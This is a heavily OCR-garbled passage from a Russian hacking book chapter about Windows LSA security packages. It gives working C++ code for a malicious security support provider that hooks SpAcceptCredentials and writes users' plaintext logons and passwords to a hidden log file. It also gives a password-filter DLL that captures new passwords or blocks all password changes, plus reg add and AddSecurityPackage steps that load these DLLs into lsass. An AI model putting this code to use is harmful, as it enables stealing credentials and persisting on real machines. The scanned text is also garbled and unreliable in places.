LSA автоматически подгружает все зарегистрированные
DLL, в свое адресное пространство. Все зарегистриро
по следующему пути (рис. 7.8):
При запуске устройства
SP,
SP,
HКLМ\SYSTEM \ CurrentControlSet \ Control \ Lsa\Security
Packages
Если этот ключ пустой, то используется значение по умолчанию:
kerberos" \ O"msvl_O" \O "schannel" \ O"wdigest" \ O"tspkg"\ O"pku2u"\0
Часть
120
-
... ....,,,......
11. Системное программирование для хакеров
.Р....,орр,ктро
"9иu
с ..,....
"°"""""'P\Н(EY_LOCAl,_МACНN!\SVSTTМ\Cunme-,olS,t\(ont,ol\u,
1
1
>_W tDComgOВ
1 г lnitialМк:hiмConfig
J
l m ogntyS,мce,
1Г
'"''""'"°""'
IPMI
~
А
~-
.._,_
LC№pSecondlnlOПNtion
) • Compon,ntlJpdot
, 11 с,-
!·..-. . . .
11 Df>l
~ому
)
Olfliмl5A
) •
Offliм5AМ
OSConfig
REG_ВINARY
t,н.Ч&tмr. "е npмaoeto)
1><00000000 (О)
1><00000000 (О)
msv1_0
00 30 00 00 00 20 00 00
1><00000000 (О)
1><00000000 (О)
1><00000000 (О)
1><00000000 (О)
00
-а! IJmitlllwP--
RE.G_OWORD
l><OCШJ001
,r,jJ....agFt,g,0,1...0
REG_DWORD
1><00000000 (О)
~ -id
REG_DWORD
REGJ)WORD
lk000003f4 (1012)
~ -;t;c-P.,...,..
REG.J,«JI.ТI..SZ
,c,d;
~ •-Туре
REG_DWORO
REG_DWORD
REG_DWORD
REG_DWORD
REG_DWORD
1><00000006 (6)
-~--
c.nt,.i;,,dA«..,PoOci<,
мsv,_o
REG_ВINAIIY
~ fo,c,guet
tjl ru11p,м1,guudIOng
; 11 дud«
1■
REG_мut.ll_SZ
REGJJWORD
REG_DWORD
REG_DWORD
REG_DWORD
:а1 -~
> 111 AcceяPnмdm
,
~ - - р.,...,..
tjj,,.....,......,..
.aj d..ы.dom,;nc,..t.
V
, .
REG_SZ
REG_DWORD
REG_DWORD
jjj ,ud«ь.иoьj,<t,
Keme№locily
з...-
Тмn
111- -
)) • · - L,yout
~
.....
~ (flo умо11..,....ео)
-а! ,ostnct,nonymou,
.,tstricunanymousиm
~S..:.Conмctedдccoona&ot
~s.c...-
REG_мutll_SZ
(1)
1><00000001 (1)
1><00000000 (О)
1><00000001 (1)
1><00000001 n)
1><00000001 (1)
-
li
~g .....1
> liJ sso
; 111 s,p;cкt,,
l
) •
11 -..,ing
Ls,&tm,юn{onf..
~- '-""nfomw6on
м.n.,,ctunngМod,
)
; g .......c.t,go,i,<
,... . . .......
; g -.. ......,.,
,
)
-=
, 11 - -
\
> II МS171C
МIJI
> 11
> fl
Ndl>i,gf,
>8
NdP-rovisюn
H.i NdDrive<s
, 11 - •
:l1~
,
_.,,.,
<
>
.
Рис.
Все эти
DLL
7.8.
Ключ со всеми
указываются без полного пути.
SP
Microsoft
рекомендует помещать
SP
%systemroot %/system32. Далее у каждого SP вызывается функция
SpLsaModeini tialize (), благодаря которой LSA получает специальную таблицу
(bttps://learn.
функции
на
указатели
содержащую
SECPKG_FUNCTION_TABLE,
в
папку
microsoft.com/en-us/windows/win32/secautbn/autbentication-functions#functionsimplemented-by-sspaps). Они реализуют данный пакет безопасности. Выглядит это
примерно вот так:
SECPKG FUNCTION
ТАВLЕ SecurityPackageFunctionTaЬle[]
Spinitialize, SpShutDown,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
SpGetinfo, SpAcceptCredentials, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL
);
Глава
7.
Поставщик небезопасности. Как
NTSTATUS NTAPI
SpLsaМodelnitialize(ULONG
PSECPKG_FUNCTION_TAВLE
*
ррТаЫеs,
PULONG
Windows раскрывает пароль
пользователя
121
LsaVersion, PULONG PackageVersion,
pcTaЬles)
{
*PackageVersion
=
*ррТаЫеs
*рсТаЫеs =
return
=
SECPKG_INTERFACE_VERSION;
SecurityPackageFunctionTaЬle;
1;
О;
Если SpLsaМodeini tialize () успешно вернула таблицу, то
которой передает структуру
LSA
вызывает Spini tialize (),
LSA_SECPKG_FUNCTION_ТАВLЕ. В этой структуре содержатся
указатели на функции
(https://learn.microsoft.com/en-us/windows/win32/secauthn/
authentication-functions#lsa-functions-called-by-sspaps), которые предоставляет
LSA для использования внутри SP. Например, функцию CreateToken() можно исполь
зовать для создания токена ( это не токен доступа, а токен, который генерируется во
время выстраивания контекста в клиент-серверных приложениях).
Третьей вызывается SpGetinfo (), благодаря которой
LSA
получает информацию
о пакете. Например, его имя, описание и версию. Эта информация будет отобра
жаться при вызове функции EnшnerateSecuri tyPackages ():
NTSTATUS NTAPI SpGetlnfo(PSecPkginfoW Packagelnfo)
{
Packagelnfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAМE SECPKG FLAG CONNECTION
SECPKG FLAG LOGON;
Packagelnfo->Name = (SEC_WCНAR*)L"MishaSSP";
Packagelnfo->Comment = (SEC_WCНAR*)L"SSP with а wide Russian soul";
Packageinfo->wRPCID = SECPKG_ID_NONE;
Packagelnfo->cbMaxToken = О;
Packagelnfo->wVersion = 1337;
return О;
Далее
LSA
загружает все доступные пакеты аутентификации (АР). Их список из
влекается из следующего ключа реестра (рис.
7 .9):
НКLМ\SYSTEM\CurrentControlSet\Control\Lsa\Authentication
Packages
В каждом из них будет вызвана функция LsaApinitializePackage(), в ней
LSA передаст
(https://learn.microsoft.com/en-us/windows/win32/api/
ntsecpkg/ns-ntsecpkg-lsa_dispatch_taЫe), содержащую все функции LSA, которые
таблицу
LSA_DISPATCH_ТАВLЕ
может дергать АР. АР, в свою очередь, должен заполнить последний параметр
функции, указав свое имя. Это имя
LSA
использует, чтобы определить, к какому
АР хочет получить доступ программа, путем вызова
LsaLookupAuthenticationPackage () .
LSA_DISPATCH_TAВLE DispatchTaЬle;
NTSTATUS LsaApinitializePackage(_In_
ULONG AuthenticationPackageld,
DataЬase,
_In_opt_ PLSA_STRING
PLSA_DISPATCH_TAВLE LsaDispatchTaЬle,
_In_
_In_opt_ PLSA_STRING
Confidentiality, _Out
PLSA_STRING*
AuthenticationPackageName)
Часть
122
11.
Системное программирование для хакеров
llf Р~аастор рее61'ра
Фойл
В ид
Пр.,ека
Ком n ыотер\НКЕУ
Справка
ИJбрilнное
LOCAL
.
> fj IDConfigDB
1;1
t,i
lnitiolM,chin.Config
Им•
lnt~rityServices
t4 IPMI
~ KerмlVeloc.ity
> КеуЬоагd layout
) f;a K,yhoord L,youts
AccessProviders
Audit
)
>
Centr11lizedAcc~sPoliciб
)
_fa:/J Bounds
REG_BINARY
00 30 00 00 00 20 00 00
.r4! crashon1uditfeil
REG_DWORD
REG_DWORD
REG_DWORD
REG_DWORD
REG_BINARY
REG_DWORD
REG_DWORD
REG_DWORD
REG_DWORD
REG_MULll_SZ
REG_DWORD
REG_DWORD
REG_DWORD
REG_DWORD
0,00000000 (О)
REG_DWORD
0,00000001 (1 )
disaЫIOom<1incrIOS
.ё'l] ~~oneincludмanonymous
a!,'!) fo«,guest
.~ fullprivil~Nuditing
,f~ limitBlenkP1sswordUse
.!4] LяCfgFl<gs0,1,u~
Lsa
~
(а ComponentUpdatб
Crodssp
о,,.
1--1:.i DPL
--E1i Fips.AlgorithmPolicy
GBG
}
)i
--l!J
-~'IJ LsaPid
~!°В NoLmHиh
:tt!J Notifiиtton Pack.,ges
.ё_'l} ProductТype
-~ r~trict.,nonymous
t-Ei
,-еа ю
) ii KerЬt:ros
:(!.'l] restrict.,nonymouss.,m
Hi мsv1_0
1
> &il Offlind.SA
>iJI Offlin.sдM
Зн•чение
REG_SZ
REG_DWORD
REG_DWORD
REG_MULll_SZ
-t!~
le,1pЖondlnformation
Тмn
~j (Поумолчанию}
.t4J auditЬ.sedirectorie5
.ё1) 1uditЬ4s~bjfi.ts
.,
fmlntбn11tional
1-
.....
МACHINE\SYSTEМ\Cum:ntControlSet\Control\lя
!t;IJ S.mConnкtedдc.c:ountsE.xist
.f4! Жurr8oot
~ Жurity Pac.k.tgб
REG_MULll_SZ
(,качение не nрмсеоt:ко)
0,00000000 (0)
0,00000000 (О)
msv1_0
0,00000000 (О)
0,00000000 (0)
0,00000000 (О)
00
О,00000001
(1)
0,00000000 (О)
0,00000314 (1012)
0,00000001 (1)
ккli
0,00000006 (6)
0,00000000 (О)
0,00000001 (1)
0,00000001 (1)
..
!(1 OSConfig
~(i Skow1
> tl sso
) li} SspiC,che
Ч"З T111cin9
>11 LяExt~nsionConfig
i-(l lя1nfom\.!f.ion
) Q M1nuf1c.turin9Mod~
ь) Medi1Cat~orifi
)
) 1 Medi1tntt.rfac.fi
) 1 MediaProperties
) 1 Medi11Resourcfi
) fЗ Medi,s.ts
>Ш"j мsrnc
) i3 MUI
>jJ NetDiagFx
H'J NetDrivers
> ij №tProvision
) Ei Net:Trace
>
.., fJ
1
1~
<
...
1
№tworlc
t1'~:1
.
NetworkProvider
НwOrder
O,der
Ча ProviderOrder
№two~up2
-IJ.
"
'
у
)
Рис.
//
7.9.
Ключ со всеми АР
Сохраняем адреса функций
DispatchTaЬle.CreateLogonSession
LsaDispatchTaЬle->CreateLogonSession;
DispatchTaЬle.DeleteLogonSession
LsaDispatchTaЬle->DeleteLogonSession;
DispatchTaЬle.AddCredential
=
LsaDispatchTaЫe->AddCredential;
= LsaDispatchTaЬle->GetCredentials;
DispatchTaЬle.GetCredentials
DispatchTaЬle . DeleteCrede ntial = LsaDispatchTaЬle->DeleteCredential;
DispatchTaЬle.All o cateLsaHeap
DispatchTaЫe.FreeLsaHeap
=
=
LsaDispatchTaЬle->Allo c ateLsaHeap;
LsaDispatchTaЬle->FreeLsaHeap;
DispatchTaЬle.Allo cateC l ientBuffer
DispatchTaЬle.
FreeClientBuf fe r =
= LsaDispatchTaЫe- > AllocateClientBuffer;
LsaDispa.t chTaЬle->Free Cl ientBuffer;
DispatchTaЬle. CopyToC lientBu ffe r
LsaDi spat chTaЬle- >Cop yToC lientBuff e r;
Dispatc hTaЬl e . CopyFr omClient Bu ffe r
=
L s aDispat chTaЬl e - >CopyFromC lientBuffe r;
Глава
7.
Поставщик небезопасности. Как
// Возвращаем имя нашего АР
(*AuthenticationPackageName)
Windows раскрывает пароль
пользователя
123
(LSA_STRING*)LsaDispatchTaЬle->
AllocateLsaHeap(sizeof(LSA_STRING));
if (NULL != (*AuthenticationPackageName))
(*AuthenticationPackageName) = (LSA_STRING*)
LsaDispatchTaЬle->AllocateLsaHeap(sizeof(LSA_STRING));
(*AuthenticationPackageName)->Buffer = (char*)
LsaDispatchTaЫe->AllocateLsaHeap( (ULONG)strlen
("myssp") + 1);
if (NULL != (*AuthenticationPackageName)->Buffer)
(*AuthenticationPackageName)->Length
strlen("myssp");
=
(*AuthenticationPackageName)->MaximumLength
strlen("myssp") + 1;
=
strcpy(
(*AuthenticationPackageName)->Buffer,
;
"myssp");
return OxOOOOOOOOL; // STATUS SUCCESS
return
ОхС0000002;
// STATUS NOT IMPLEMENTED
Эксплуатация
Теперь, изучив теорию, можно злоупотреблять этими самыми кирпичиками систе
даже в
мы безопасности
Windows. Начнем с классического способа, который присутствует
mimikatz (https://github.com/gentilkiwi/mimikatz). Это стандартное внедре
ние
с целью перехвата учетных данных.
SP
Как дебажить?
Многие функции, которые мы будем использовать, возвращают либо NTSTAТUS, либо
SECURITY _sтAтus. Чтобы понять, что сломалось, в первом случае можно воспользо
ваться функцией LsaNtStatusToWinError 11:
Часть
124
11.
Системное программирование для хакеров
ULONG LsaNtStatusToWinError(
[i n ] NTSTATUS Statu s
);
После этого анали з ируем значение ULONG и сравниваем с кодами ошибок
Win32
/system-error-codes-0-499-).
(https://docs.microsoft.com/ru-ru/windows/win32/debug
В случае SECURI TY_ sтAтus все чуточку сложнее. Как интерпретировать его исходное
значение,
непонятно.
вообще
пусть
Например,
в
нашем
коде
функция
AddSecurityPackage () валится каждый раз с ошибкой -2 146893051. Чтобы понять, что эта
ошибка означает, нужно конвертировать ее в Нех, получим 80090305 . После чего
sspi.h
в
ее
поискать
master/winpr/include/winpr/sspi.h),
(рис . 7.10).
(https://github.com/FreeRDP/FreeRDP/ЫoЫ
следует
а
начало,
в
Ох
добавив
букву
L
конец
в
133
Ox8()()9(Щil
Л
(SECURIТY_STATUS)0x00000000L
134
#deHne SEC_E_OK
135
#d efine SEC_E_INSUFFICIENT_IIEMORY
136
#define
SEC_E_Iti\/ALID_НANDLE
137
#deHne
SEC_E_UNSUPPORTED_FUNCТION
138
# define SEC_E_ Т ARGET _UNKNO\m ( SECURПY _ sт А TUS )0x80090303L
(SECURПY_STATUS)0x80090300L
(SECURПY_STATUS)0x8009030ll
(SECURIТY_STATUS)0x80090302L
(SECURIТY_STATUS)0x80090304L
139
#define SEC_E_INTERNAL_ERROR
140
#define SE C_E_SECPKG_NOT_FOUND
141
#define SEC_E_flOT_O\YNER
(SECURIТY_STATUS)
-
(SECURIТY_STATUS)0x80090306L
142
# define SEC_E_CANNO T_ INST ALL ( SECURIТY _STA TUS )0x80090307L
143
#define SEC_E_Iti\/ALID_ TOKEN
144
# def"ine SEC_E_CANNOT _РАСК ( SECURIТY _sт ATUS )0x80090309L
(SECURIТY _STATUS)0x80090308L
( SECURПY_STATUS)0 x8009030A L
145
# def"ine SEC_E_QOP_NOT_SUPPORTED
146
# define SEC_E_NO_IIIPERSONA ПОN
147
#define SEC_E_LOGON_DENIED
148
# define
SEC_ E_UNK//01.N_CREDHПI ALS
149
# define
SEC _E_NO_CRE DENТIALS
(SECURIТY_STA TUS )0x8009030BL
(SECURIТY_STATUS)0 x8009030CL
(SECURПY_STATUS)0x8009030DL
(S ECURП Y_STATUS)0x8009030EL
15С
#define SEC_E_IIESSAGE_AL TERED
(S ECURIТ Y_STATUS)0x8009030FL
151
#deHne SEC_E_OUT_OF _SEQUENCE
(SECURIТY_STATUS)0 x80090310L
! 52
#define
153
# define SEC_E_BAD_PKGID (SECURITY_S TATUS)0x80090316L
SEC _E_IIO_AUTHENТICA ТING_AUTHORIТY (SECUR IТ Y_sт ATUS )0x80090311L
(SECURIТY_STATUS)0x80090317L
154
#define SEC_E_CONTEXT_EXPIRED
155
#defiпe SEf_E_INCOМPLETE_MESSAGE
156
#define
SEC_E_INCOMPLETE_CREDENТIALS
157
# defiпe
SEC_E_BUFFER_TOO_SI-IALL (SECURIТY _STA TUS) 0x80090321L
(SECURIТY _STATUS)0x80090318L
(S ECURIТ Y_STAT US)0x80090320L
(SECURПY_STATUS)0x80090322L
158
#define
SEC_E _ЫRONG_PR INCIPAL
159
#define
SЕС_Е_ПМЕ_SКШ (SECURПY_STATUS)0x80090324L
160
# define
SEC_E_ШПRUSTED_ROOT
161
# define SEC_E_ILLEGAL_MESSAGE
162
# define SEC_E_CERT_UNKNO\,N
(SECURIТY_STATUS)0x80090327L
163
# define SEC_E_CERT_EXPIRED
(SECURIТY _STATUS)0x8e090328L
164
#defi ne SEC_E_ENCRYPT_FAILURE ( SECURIТY_sт ATUS )0x.80090329L
(SECURIТY _STATUS)0x80090325L
(SECURIТY_STATUS)0x80090326L
(SECURПY_STATUS)0x80090330L
165
#define SEC_E_DECRYPT_FAILURE
166
#def"iпe SEC _E_ALGORIТНl1_11ISIIA ТСН (SECURПY_sт А TUS )0x80090331L
167
#define SEC_E_SECURITY_QOS_FAILED (SECURITY_STATYS)0x80090332L
V
■ Подс,!епnь все
Рис.
О С учётом ~гмстра
7.10.
О С учётом диа~риtичес:ккк знаков
Описание ошибки
О Только
Глава
7.
Поставщик небезопасности. Как
Windows раскрывает пароль пользователя
125
Перехват пароля
с помощью внедрения
Security Package
Требования
Наш
SP для
корректной работы должен удовлетворять следующим требованиям:
1.
Реализован в виде библиотеки
2.
Имеет функции SpLsaмodeini tiali ze (), SpGetinfo (), Spini tialize (), •SpAcceptCredentials () •.
3.
Имеет ту же архитектуру, что и целевая система: х64 для х64, х86 для х86.
DLL.
Загрузка в систему
Первый вариант самый простой. Мы будем использовать функцию AddSecuri tyPackage (},
что позволит загрузить
SP
в систему буквально одним кликом:
SECURITY_STATUS SEC_ENТRY AddSecurityPackageA(
pszPackageName,
[in] LPSTR
[in] PSECURITY_PACКAGE_OPTIONS pOptions
);
Вот пример загрузки:
idefine WIN32 NO STATUS
#define SECURITY WIN32
iinclude <windows.h>
iinclude <sspi.h>
iinclude <NТSecAPI.h>
iinclude <ntsecpkg.h>
ipragma comment (lib, "Secur32. lib")
int main()
char packagePath[] = "C:\\Windows\\SP.dll";
SECURITY_PACКAGE_OPTIONS spo = {};
SECURITY_STATUS ss = AddSecurityPackageA(packagePath, &spo);
if (ss != SEC_E_OK) {
if (ss = SEC_E_SECPKG_NOТ_FOUND) {
std: :wcout << L"[?] SEC Е SECPKG NOT FOUND received! Check architecture. U should
load x86-DLL into-x86-system. х64 DLL into хб4 systems" « std::endl;
1;
return
else {
std: :wcout « L" [-] AddSecurityPackage failed: " « ss « std: :endl;
return 1;
else
std: :wcout « L" [+] AddSecurityPackage Success" « std: :endl;
Часть
126
return
11.
Системное программирование для хакеров
О;
Есть также второй вариант, но он потребует перезагрузки системы. Сначала поме
щаем наш
SP
в папку
C:\Winctows\System32, а затем изменяем значение в реестре:
reg add hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" /
d "kerberos"\0"msvl_0"\0"schannel"\0"wdigest"\0"tspkg"\0"pku2u"\0"SP" /t REG_MULTI_SZ
После перезагрузки
LSA
прочитает это значение и подгрузит нашу
DLL.
Проверка
Чтобы проверить успешность загрузки нашего
SP
в адресное пространство процес
са lsass .ехе, можно воспользоваться функцией EnumerateSecurityPackages () (рис.
7.11 ):
void EnumSecPkg() {
SECURITY STATUS status;
ULONG pcPackages = 0;
SecPkginfo* secPkginfo = NULL;
status = EnumerateSecurityPackages(&pcPackages, &secPkginfo);
if (status 1= SEC_E_OK) {
wprintf(L"[!) EnumerateSecurityPackages() failed with error: %i\n", status);
std: :wcout «
L"NAМE"
« std: :setw(50) «
L"СОММЕNТ"
« std: :setw(40) «
L"VERSION" «
std: :endl;
for (ULONG i = О; i < pcPackages; i++)
std: :wcout << secPkginfo(i] .Name << std::setw(75 - wcslen(secPkginfo[i) .Name)) <<
secPkginfo(i] .Comment << std: :setw(20 - sizeof{secPkginfo[i) .wVersion)) <<
secPkginfo(i] .wVersion << std: :endl;
COl·U·IENT
NAHE
Hi crosoft Package Negotiator
Negotiate
NegoExtender Security Package
NegoExtender
Hicrosoft Kerberos Vl.0
Kerberos
NTLH Security Package
NTLH
TS Service Security Package
TSSSP
PKU2U Security Package
pku2u
Cloud АР Security Package
CloudAP
Digest At1thentication for 1-lindo.ss
1-IDigest
Schannel Security Package
Schannel
Schannel Security Package
Hicrosoft Unified Security Protocol Provider
Custom security package from Russia 1aith love
myssp
Schannel Security Package
Default TLS SSP
Hicrosoft CredSSP Security Provider
CREDSSP
Рис.
7.11.
Получение всех загруженных
VERSIOI~
1
1
1
1
1
1
1
1
1
1
1
1
1
SP
Перехват пароля
В наш
SP,
кроме стандартных функций для инициализации (spLsaМodeinitializel),
SpGetinfo (), Spinitialize () ), добавим функцию 'spAcceptCredentials () '. Эта функция бу-
Глава
7.
Поставщик небезопасности. Как
дет вызвана
LSA
Windows раскрывает пароль
пользователя
127
после того, как пользователь введет верную пару логина и пароля.
Код нашего вредоносного SP приобретет следующий вид:
#define WIN32 NO STATUS
#define SECURITY WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#include <iostream>
#include <string>
#pragma cornment (lib, "Secur32. lib")
LPWSTR logFileName =
(LPWSTR)L"C:\\Templ\\_Mz_4ldЬaЬfaastex";
НANDLE hLogFile = NULL;
void SpCreateLogFile() {
hLogFile = CreateFile(logFileName, GENERIC~WRITE I GENERIC_READ, FILE_SНARE_READ
FILE_SНARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORМAL, NULL);
void SpMakeLog(LPWSTR spFuncName, LPWSTR funcName, DWORD err) {
if (hLogFile == NULL) {
SpCreateLogFile();
std: :wstring wspFuncName = spFuncName;
std: :wstring wfuncName = funcName;
std: :wstring wLog;
wLog.append(L"\n") .append(wspFuncName) .append(L" 1 ") .append(funcName) .append(L" 1
") . append (std:: to_wstring (err) . append (L"\n"));
DWORD dwNumЬerWritten = О;
WriteFile(hLogFile, wLog.c_str(), wLog.length() * sizeof(wchar_t),
&dwNumЬerWritten,
ЩJLL);
NTSTATUS NTAPI Spinitialize(ULONG_PTR Packageid, PSECPKG
PLSA- SECPKG- FUNCTION- ТАВLЕ FunctionTaЬle)
PARAМETERS
SpMakeLog ( (LPWSTR) L"Spinitialize", (LPWSTR) L"Lsainvoke",
return О;
О);
NTSTATUS NTAPI SpShutDown(void)
SpMakeLog ( (LPWSTR) L"SpShutDown", (LPWSTR) L"Lsainvoke",
О);
Parameters,
Часть
128
11.
Системное программирование для хакеров
CloseHandle(hLogFile);
return О;
NTSTATUS NTAPI SpGetinfo(PSecPkginfoW Packageinfo)
SpMakeLog ( (LPWSTR) L"SpGetinfo", (LPWSTR) L"Lsainvoke",
Packageinfo->fCapabilities = SECPKG_ПJ\G_NEGOTIAВLE
SECPKG_ПJ\G_LOGON
I
SECPKG_FLAG_ACCEPT_WIN32_NAМE
I
О);
SECPKG_ПJ\G_MUТUAL_AUTH
1
SECPKG_FLAG_RESTRICTED_TOКENS
1 SECPKG- FLAG- RESTRICTED- TOКENS
Ох00000002; // SECPKG CALLПJ\GS AUTHCAPAВLE;
1
Packageinfo->Name = (SEC_WCНAR*)L"myssp";
Packageinfo->Comment = (SEC_WCНAR*)L"Custom security package from Russia with love";
Packageinfo->wRPCID = SECPKG_ID_NONE;
Packageinfo->cbMaxToken = О;
Packageinfo->wVersion = 1;
return О;
-
NTSTATUS NTAPI SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING
AccountName, PSECPKG_PRIМARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED
SupplementalCredentials)
SpMakeLog ( :,pwsTR) L"SpAcceptCredentials", (LPWSTR) L"Lsalnvoke",
О);
DWORD dwWr_:ten = О;
WriteFile(hLogFile, AccountName->Buffer, AccountName->Length, &dwWritten, NULL);
WriteFile(hLogFile, L"@", 2, &dwWritten, NULL);
WriteFile(hLogFile, PrimaryCredentials->DomainName.Buffer, PrimaryCredentials>DomainName.Length, &dwWritten, NULL);
WriteFile(hLogFile, L":", 2, &dwWritten, NULL);
WriteFile(hLogFile, PrimaryCredentials->Password.Buffer, PrimaryCredentials->
Password.Length, &dwWritten, NULL);
return О;
SECPKG FUNCTION TABLE
SecurityPackageFunctionTaЬle[]
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, Spinitialize, SpShutDown,
SpGetinfo, SpAcceptCredentials, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL
);
NTSTATUS NTAPI SpLsaModeinitialize(ULONG LsaVersion, PULONG PackageVersion,
PSECPKG_FUNCTION_TAВLE * ррТаЫеs, PULONG рсТаЫеs)
Глава
Поставщик небезопасности. Как
7.
Рис.
7.12.
Windows раскрывает
пароль пользователя
Успешный вход пользователя
_Мz_41dbaЫaastex- Блокнот
ФаМ
Праака
Формат
Вид
Справка
1
SplsaМodelnitialize
I Lsalnvoke 1 0
Splnitialize I Lsalnvoke 1 0
SpGetlnfo I Lsalnvoke 1 0
SpAcceptCredentials
I
Lsalnvoke
0
SpAcceptCredentials 1 Lsalnvoke
0
WIN10ENТVSU!W()RKGROUP:
UМFD - 1@WORKGROUP
SpAcceptCredentials 1 Lsalnvoke
!J,\FD-~RKGROUP: :
SpAcceptCredentials I Lsalnvoke
NEТWORK SERVICE(!WORKGROUP:
SpAcceptCredentials 1 Lsalnvoke
~-l(!WORKGROUP:
SpAcceptCredentials 1 Lsalnvoke
~ -l(!WORKGROUP:
SpAcceptCredentials 1 Lsalnvoke
LOCAL SERVICE~ :
SpAcceptCredentials
Lsalnvoke
0
0
0
0
0
0
Michae~IN10ENТVS:whosaidssp
SpAcceptCredentials
I
Lsalnvoke
0
Michae~IN10ENТVS : whosaidssp
Рис.
7.13.
Перехваченные учетные данные
129
Часть
130
11.
Системное программирование для хакеров
SpMakeLog ( (LPWSTR) L"SpLsaModeini tialize", (LPWSTR) L"Lsainvoke",
*PackageVersion = SECPKG_INTERFACE_VERSION;
*ppTaЬles
= SecurityPackageFunctionTaЫe;
*рсТаЫеs
=
return
О);
1;
О;
Мы добавили лишь логирование полученных в функции SpAcceptCredentials учетных
данных. Поместим любым удобным образом SP в систему и попробуем отследить
вход пользователя (рис.
7.12, 7.13).
Перехват пароля
с помощью внедрения
Password Filter
Требования
Должны быть соблюдены следующие условия:
1.
Наш
2.
В NP реализованы функции NP (https:/Лearn.microsoft.com/en-us/windows/
win32/secmgmt/management-functions#password-filter-functions).
3. NP
4.
NP
реализован в виде библиотеки
DLL.
имеет ту же архитектуру, что и целевая система: х64 для х64, х86 для х86.
Функции объявлены как extern "С" _ declspec (dllexport) и имеют соглашение о вы
зове
stdcall.
Загрузка в систему
LSA
извлекает список всех пакетов уведомлений из следующего ключа реестра:
reg query "hklm\system\currentcontrolset\control\lsa" /v "notification packages"
По умолчанию в нем написано только scecli. Для добавления своего
NP
требуется
поместить его в папку с: \Windows \System32, после чего добавить к этому ключу реест
ра значение- имя этой самой
DLL
без расширения .ctll:
reg add "hklm\system\currentcontrolset\control\lsa" /v "notification packages"
/d scecli\0passfil /t reg_multi_sz
Перехват пароля
Самый простой код может выглядеть так:
#include
#include
#include
#include
<windows.h>
<ntsecapi.h>
<string>
<iostream>
using namespace std;
LPWSTR logFileName =
(LPWSTR)L"C:\\Templ\\_Mz_41dЬaЬfaastex";
Глава
7.
Поставщик небезопасности. Как
Windows раскрывает пароль
пользователя
131
hLogFile = NULL;
void SpCreateLogFile() {
hLogFile = CreateFile{logFileName, GENERIC_WRITE I GENERIC_READ, FILE_SНARE_READ
FILE_SНARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUТE_NORМAL, NULL);
НANDLE
void SpMakeLog(LPWSTR spFuncName, LPWSTR funcName, DWORD err) {
if {hLogFile == NULL) {
SpCreateLogFile{);
std: :wstring wspFuncName = spFuncName;
std: :wstring wfuncName = funcName;
std: :wstring wLog;
wLog.append(L"\n") .append(wspFuncName) .append(L" 1 ") .append(funcName) .append(L" 1
") .append(std: :to_wstring(eп) .append(L"\n"));
DWORD dwNumЬerWritten = О;
WriteFile(hLogFile, wLog.c_str(), wLog.length() * sizeof(wchar_t),
extern
"С"
_declspec(dllexport) BOOLEAN
&dwNumЬerWritten,
NULL);
stdcall InitializeChangeNotify(void)
// Инициализация NP
SpMakeLog ( (LPWSTR) L"InitializeChangeNotify", (LPWSTR) L"Lsalnvoke",
return TRUE;
О);
// Проверка нового пароля
extern "С" _declspec(dllexport) BOOLEAN stdcall PasswordFilter( PUNICODE STRING
PUNICODE_STRING Password,BOOLEAN SetOperation)
AccountName,PUNICODE_STRING FullName,
{
SpMakeLog ( (LPWSTR) L"PasswordFilter", (LPWSTR) L"Lsainvoke", О);
SpMakeLog((LPWSTR)AccountName->Buffer, (LPWSTR)Password->Buffer,
О);
return TRUE;
// Уведомление об успешной сыене пароля на новый
extern "С" declspec(dllexport) NTSTAТUS stdcall PasswordChangeNotify(
PUNICODE_STRING UserName, ULONG Relati veid,PUNICODE_STRING NewPassword)
(
SpMakeLog ( (LPWSTR) L"PasswordChangeNotify", (LPWSTR) L"Lsainvoke",
О);
SpMakeLog( (LPWSTR)UserName->Buffer, (LPWSTR)NewPassword->Buffer,
return О;
О);
SP. Рассмотрим новые (рис. 7.14):
InitializeChangeNotify() - эта функция вызывается LSA в момент, когда NP ус
пешно загружается в адресное пространство процесса LSA;
Функции для логирования я скопировал из кода
□
132
Часть
□ PasswordFilter() -
вызывается
LSA,
11.
Системное программирование дпя хакеров
когда пользователь решает сменить пароль.
В нее попадает в плейнтексте непосредственно сам новый пароль для проверки;
□ PasswordChangeNotify () -
вызывается
LSA,
когда все
NP
сообщили, что пароль
ПОДХОДИТ под их фильтры.
_Мz_41dЬaЬfaastex -
Файл
Праака
Блокнот
Формат
Вид
I nitializeChangeNotify
PasswordFilter
Michael
I
Lsalnvoke
newpass
1
1
PasswordChangeNotify
Michael
I
Lsainvoke
I
newpass
I
Спраака
1
0
0
0
Lsainvoke 1 0
0
1
Рис.
7.14.
Успешный перехват нового пароля
Запрещаем пользователям менять пароль
Как вы помните, главная функция
Password Filter -
проверять, что пароль подхо
дит под все критерии. Мы можем запретить любому пользователю системы менять
пароль, если изменим функцию PasswordFilter () вот так:
Рис.
7.15.
Невозможно сменить пароль
Глава
7.
Поставщик небезопасности. Как
Windows раскрывает
пароль пользователя
133
extern "С" _declspec(dllexport) BOOLEAN _stdcall PasswordFilter(
PUNICODE_STRING AccountName,
PUNICODE_STRING FullName, PUNICODE_STRING Password,
BOOLEAN SetOperation)
return FALSE; //
Пароль не nодходит nод критерии
В результате новый пароль просто не будет проходить проверку, и
шит сменить пароль (рис.
LSA
не разре
7.15).
Перехват пароля
с помощью диспетчера учетных данных
Теория
Диспетчер учетных данных
Windows
позволяет сохранять учетные данные для,
например, каких-нибудь сайтов. Нам ничто не мешает реализовать собственный
диспетчер учетных данных для получения паролей. Все будет основываться на спе
циальном компоненте, который называется
MPR (Multiple Provider Router).
Он
обеспечивает взаимодействие между операционной системой и различными про
вайдерами, в их числе
При запуске
MPR
-
диспетчер учетных данных.
проверяет реестр в поисках установленных провайдеров. Причем
очень важен порядок расположения провайдеров в реестре
-
они загружаются
